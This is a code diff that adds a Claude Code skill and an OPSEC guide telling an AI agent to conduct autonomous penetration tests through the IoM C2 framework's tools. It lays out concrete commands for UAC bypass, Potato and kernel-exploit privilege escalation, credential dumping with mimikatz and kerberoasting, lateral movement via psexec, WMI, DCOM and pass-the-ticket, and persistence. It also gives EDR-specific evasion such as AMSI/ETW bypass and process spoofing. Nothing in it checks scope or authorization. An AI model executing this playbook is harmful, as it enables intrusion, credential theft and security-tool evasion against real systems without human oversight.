Feat/webshell bridge

.claude/commands/iom-pentest/SKILL.md

@@ -0,0 +1,265 @@
+---
+name: iom-pentest
+description: >
+  Autonomous penetration testing through IoM C2 MCP tools. Covers the full
+  engagement lifecycle: reconnaissance, privilege escalation, credential
+  harvesting, lateral movement, and persistence. Operates in an OODA loop —
+  each phase analyzes results before deciding the next action. Use this skill
+  whenever the user wants to run automated pentest, red team assessment,
+  privilege escalation analysis, post-exploitation, or any offensive
+  operation through IoM — even if they just mention "pentest", "提权",
+  "横向", "信息收集", "凭据", "持久化", or "自动化测试".
+---
+
+# IoM Automated Penetration Test
+
+通过 IoM MCP 工具进行自主渗透测试。核心是 **OODA 循环** — 观察、分析、决策、行动，每个阶段根据实际环境自适应。
+
+## 核心原则
+
+1. **每步先看数据再决定下一步** — 不盲目执行，根据环境调整策略
+2. **OPSEC 优先** — 先识别防护，再选择相应规避手法。详见 [reference/opsec-guide.md](reference/opsec-guide.md)
+3. **失败即转向** — 某手法被拦截，标记并换路径，不重试同一技术
+4. **最小动作原则** — 能用 BOF 就不用 execute_assembly，能不落盘就不写文件
+
+## MCP 工具使用规范
+
+所有操作通过 `mcp__iom__execute_command` 执行：
+
+- **切换 session**: `use <session_id_prefix>` — 进入 implant 上下文
+- **implant 命令**: 切换后直接执行 `sysinfo`, `whoami`, `ps` 等
+- **client 命令**: `session`, `listener`, `pipeline list` 等不需要 session 上下文
+- **task 结果**: execute_command 会自动等待并返回结果，无需手动 get_history
+
+> 命令用法详见 MCP 工具的 help 描述。特别注意：
+> - BOF 类 UAC bypass（elevatedcom/sspi/colordataproxy/registryshell）使用**位置参数**
+> - Flag 类 UAC bypass（silentcleanup/editionupgrade）使用 `--command` flag
+> - 详见 [reference/technique-reference.md](reference/technique-reference.md)
+
+## 阶段总览
+
+```
+Phase 1: 态势感知 → 身份、权限、环境、防护
+    ↓ 检查点：我是谁？能做什么？面对什么防护？
+Phase 2: 提权 → UAC bypass / Potato / 内核漏洞
+    ↓ 检查点：拿到高权限了吗？
+Phase 3: 凭据收割 → hash / 明文 / ticket / token
+    ↓ 检查点：拿到什么凭据？能用在哪？
+Phase 4: 横向移动 → psexec / wmi / dcom / ptt
+    ↓ 检查点：新立足点在哪？重复 Phase 1
+Phase 5: 持久化 → 注册表 / 服务 / 计划任务
+    ↓ 检查点：重启后还能回来吗？
+```
+
+---
+
+## Phase 1: 态势感知
+
+**做什么**: 全面了解当前位置和环境
+
+```
+use <session_id>
+sysinfo
+whoami
+privs
+shell whoami /groups
+ps
+enum av
+ipconfig
+systeminfo
+enum software
+netstat
+```
+
+**检查点**（必须分析后再往下走）：
+
+| 维度 | 关键问题 | 决策影响 |
+|------|---------|---------|
+| 权限 | Medium 还是 High？有 `*` 标记吗？ | Medium → Phase 2 提权；High → 跳到 Phase 3 |
+| 管理员组 | `BUILTIN\Administrators` 在 groups 里吗？ | 在 → UAC bypass 可行；不在 → 需要其他提权路径 |
+| 完整性级别 | `Mandatory Label` 是什么级别？ | Medium → UAC bypass；Low → 需要内核漏洞 |
+| AV/EDR | 跑了什么安全产品？ | 决定执行方式选择，详见 [reference/opsec-guide.md](reference/opsec-guide.md) |
+| 域环境 | WORKGROUP 还是域？ | 域 → Phase 4 有更多横向路径 |
+| 补丁级别 | 最后安装的 KB 是什么时候的？ | 老补丁 → 内核漏洞可用 |
+| 网络位置 | 内网段是什么？能看到其他机器吗？ | 决定 Phase 4 横向目标 |
+
+---
+
+## Phase 2: 提权
+
+**仅当 Phase 1 判断为非管理员权限时执行。**
+
+提权路径选择，按优先级排列。完整的技术参考见 [reference/technique-reference.md](reference/technique-reference.md)。
+
+### 2.1 UAC Bypass（用户在 Administrators 组 + Medium 完整性）
+
+**优先选择**（BOF 类，低检测率）：
+
+```
+uac-bypass elevatedcom "C:\path\to\implant.exe"
+uac-bypass sspi "C:\path\to\implant.exe"
+uac-bypass colordataproxy "C:\path\to\implant.exe"
+```
+
+**备选**（需要 `--command` flag）：
+
+```
+uac-bypass silentcleanup --command "C:\path\to\implant.exe"
+uac-bypass editionupgrade --command "C:\path\to\implant.exe"
+```
+
+**PowerShell 类**（最后手段，容易被拦截）：
+
+```
+uac-bypass eventvwr
+uac-bypass wscript
+uac-bypass envbypass
+```
+
+> implant 路径从 Phase 1 的 `sysinfo` 获取（file 字段）。
+
+### 2.2 Token/Potato（有 SeImpersonatePrivilege）
+
+```
+elevate SweetPotato
+elevate EfsPotato
+elevate JuicyPotato --type t --program "C:\implant.exe" --port 1337
+```
+
+### 2.3 内核漏洞（补丁级别老旧）
+
+根据 Phase 1 的 OS 版本和补丁判断：
+
+| OS 版本 | 可用漏洞 |
+|---------|---------|
+| Win10 1903/1909 | `elevate cve-2020-0796` |
+| Win7/8.1/2008R2/2012 | `elevate ms15-051`, `elevate ms14-058` |
+| Win7/Vista x86 | `elevate ms16-016` |
+| 通用（旧补丁） | `elevate ms16-032` |
+
+### 2.4 其他路径
+
+```
+reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" AlwaysInstallElevated
+getsystem
+```
+
+**检查点**：每次提权尝试后，`session` 查看是否有新的 `*` 标记 session。成功后 `use <new_session>` 并用 `privs` 确认。
+
+---
+
+## Phase 3: 凭据收割
+
+**从最高权限 session 执行。**
+
+```
+hashdump
+logonpasswords
+credman
+autologon
+mimikatz privilege::debug sekurlsa::logonpasswords
+```
+
+如果是域环境：
+
+```
+ldapsearch --query "(&(objectClass=user)(adminCount=1))"
+ldapsearch --query "(&(samAccountType=805306368)(servicePrincipalName=*))"
+klist
+domain kerberoast
+```
+
+**检查点**：收集到的凭据整理成表格，分析哪些可用于横向移动。
+
+---
+
+## Phase 4: 横向移动
+
+**基于 Phase 3 的凭据和 Phase 1 的网络发现。**
+
+### 4.1 网络发现
+
+```
+pingscan --target <local_subnet>/24
+portscan --target <live_hosts> --ports 445,3389,5985,22,80,443
+```
+
+### 4.2 移动执行
+
+使用收集到的凭据：
+
+```
+move wmi-proccreate --target <ip> --command "C:\payload.exe"
+move psexec --host <ip> --service MySvc --path /local/payload.exe
+move dcom --target <ip> --cmd "C:\payload.exe"
+move krb_ptt --ticket <base64_ticket>
+token make --username admin --password P@ss --domain CONTOSO
+```
+
+**检查点**：`session` 确认新 session，然后对新 session **回到 Phase 1**。
+
+---
+
+## Phase 5: 持久化
+
+**根据权限级别选择。** 详见 [reference/technique-reference.md](reference/technique-reference.md)。
+
+管理员：
+
+```
+persistence Registry_Key --artifact_name <name>
+persistence Install_Service --artifact_name <name>
+persistence Scheduled_Task --artifact_name <name>
+```
+
+普通用户：
+
+```
+persistence startup_folder --use_malefic_as_custom_file
+persistence reg_key
+persistence NewLnk --artifact_name <name> --lnkname "Chrome" --filepath "C:\Users\<user>\Desktop"
+```
+
+**验证**：安装后检查对应的注册表/服务/计划任务确认生效。
+
+---
+
+## 输出报告
+
+每次执行完成后，生成结构化报告：
+
+```markdown
+## Penetration Test Report
+**Date**: YYYY-MM-DD HH:MM
+**Scope**: $ARGUMENTS
+
+### Attack Path
+initial_session → [technique] → elevated_session → [credential] → lateral_session
+
+### Sessions
+| Session | Host | User | Privilege | How |
+|---------|------|------|-----------|-----|
+
+### Credentials
+| Type | User | Domain | Source |
+|------|------|--------|--------|
+
+### Techniques
+| Phase | MITRE ID | Technique | Result | Notes |
+|-------|----------|-----------|--------|-------|
+
+### Defensive Gaps
+[What allowed the attack to succeed]
+
+### Cleanup
+[Artifacts removed, persistence cleaned if requested]
+```
+
+## 参考文档
+
+| 需求 | reference 文件 |
+|------|---------------|
+| OPSEC 策略与 AV 规避 | [reference/opsec-guide.md](reference/opsec-guide.md) |
+| 提权/横移/持久化技术速查 | [reference/technique-reference.md](reference/technique-reference.md) |
+
+$ARGUMENTS

.claude/commands/iom-pentest/reference/opsec-guide.md

@@ -0,0 +1,60 @@
+# OPSEC Guide — AV/EDR 识别与规避策略
+
+根据 Phase 1 `enum av` 和 `ps` 的结果，选择对应的执行策略。
+
+## 常见安全产品识别
+
+| 进程名 | 产品 | 威胁等级 | 建议 |
+|--------|------|---------|------|
+| MsMpEng.exe | Windows Defender | 中 | AMSI bypass 后可用 |
+| HipsDaemon.exe / HipsTray.exe | 火绒 | 低 | 对内存执行宽松 |
+| ZhuDongFangYu.exe / 360*.exe | 360 安全卫士 | 中 | 避免落盘，用 BOF |
+| aegis_*.exe / AliYunDun.exe | 阿里云盾 | 高 | 慎用 powershell |
+| CarbonBlack*.exe / cb.exe | Carbon Black | 高 | 避免注入，用 BOF |
+| MsSense.exe | Defender ATP/EDR | 高 | 极度谨慎 |
+| CSFalcon*.exe / CSAgent.exe | CrowdStrike | 极高 | 仅 BOF + 慎用 |
+| SentinelAgent.exe | SentinelOne | 极高 | 仅 BOF + 慎用 |
+
+## 执行方式选择（按隐蔽性排序）
+
+| 方式 | 隐蔽性 | 命令 | 适用场景 |
+|------|--------|------|---------|
+| BOF (内联) | ★★★★★ | `bof` | 首选，无新进程，无落盘 |
+| Inline Assembly | ★★★★ | `inline_assembly --amsi` | .NET 工具，不创建进程 |
+| Inline EXE/DLL | ★★★★ | `inline_exe`, `inline_dll` | 慎用，可能崩溃 |
+| Execute Assembly | ★★★ | `execute_assembly --amsi` | .NET 工具，牺牲进程 |
+| Execute EXE/DLL | ★★★ | `execute_exe`, `execute_dll` | PE 工具，牺牲进程 |
+| Execute Shellcode | ★★★ | `execute_shellcode` | shellcode，牺牲进程 |
+| PowerShell (unmanaged) | ★★ | `powerpick --amsi` | PS 脚本，无 powershell.exe |
+| PowerShell | ★ | `powershell` | 最后手段，易被检测 |
+| Shell (cmd) | ★ | `shell` | 最后手段，易被检测 |
+
+## 牺牲进程防护选项
+
+execute_exe / execute_dll / execute_shellcode / execute_assembly 支持的防护选项：
+
+| 选项 | 说明 | 用法 |
+|------|------|------|
+| `--ppid <pid>` | 父进程欺骗 | 从 `ps` 中选一个合法父进程 PID |
+| `--block_dll` | 阻止非微软 DLL 注入 | 对抗 EDR hook |
+| `--etw` | 禁用 ETW | 对抗日志记录 |
+| `--argue "notepad.exe"` | 参数欺骗 | 进程参数显示为 notepad |
+| `--process "C:\...\svchost.exe"` | 自定义牺牲进程 | 默认 svchost.exe |
+
+## .NET 工具 AMSI/ETW 绕过
+
+```
+bypass --amsi --etw
+execute_assembly --amsi --etw potato.exe "whoami"
+inline_assembly --amsi potato.exe "whoami"
+powerpick --amsi --etw -s script.ps1 -- Get-Info
+```
+
+## 策略矩阵
+
+| AV 类型 | 信息收集 | 提权 | 凭据 | 横向 |
+|---------|---------|------|------|------|
+| 无 AV | 任意 | 任意 | mimikatz | psexec |
+| Defender | BOF/inline | UAC bypass(BOF) | nanodump + bypass | wmi |
+| 火绒 | 任意 | UAC bypass | mimikatz | psexec |
+| EDR (CS/S1) | 仅 BOF | BOF UAC bypass | nanodump(fork+spoof) | wmi/dcom |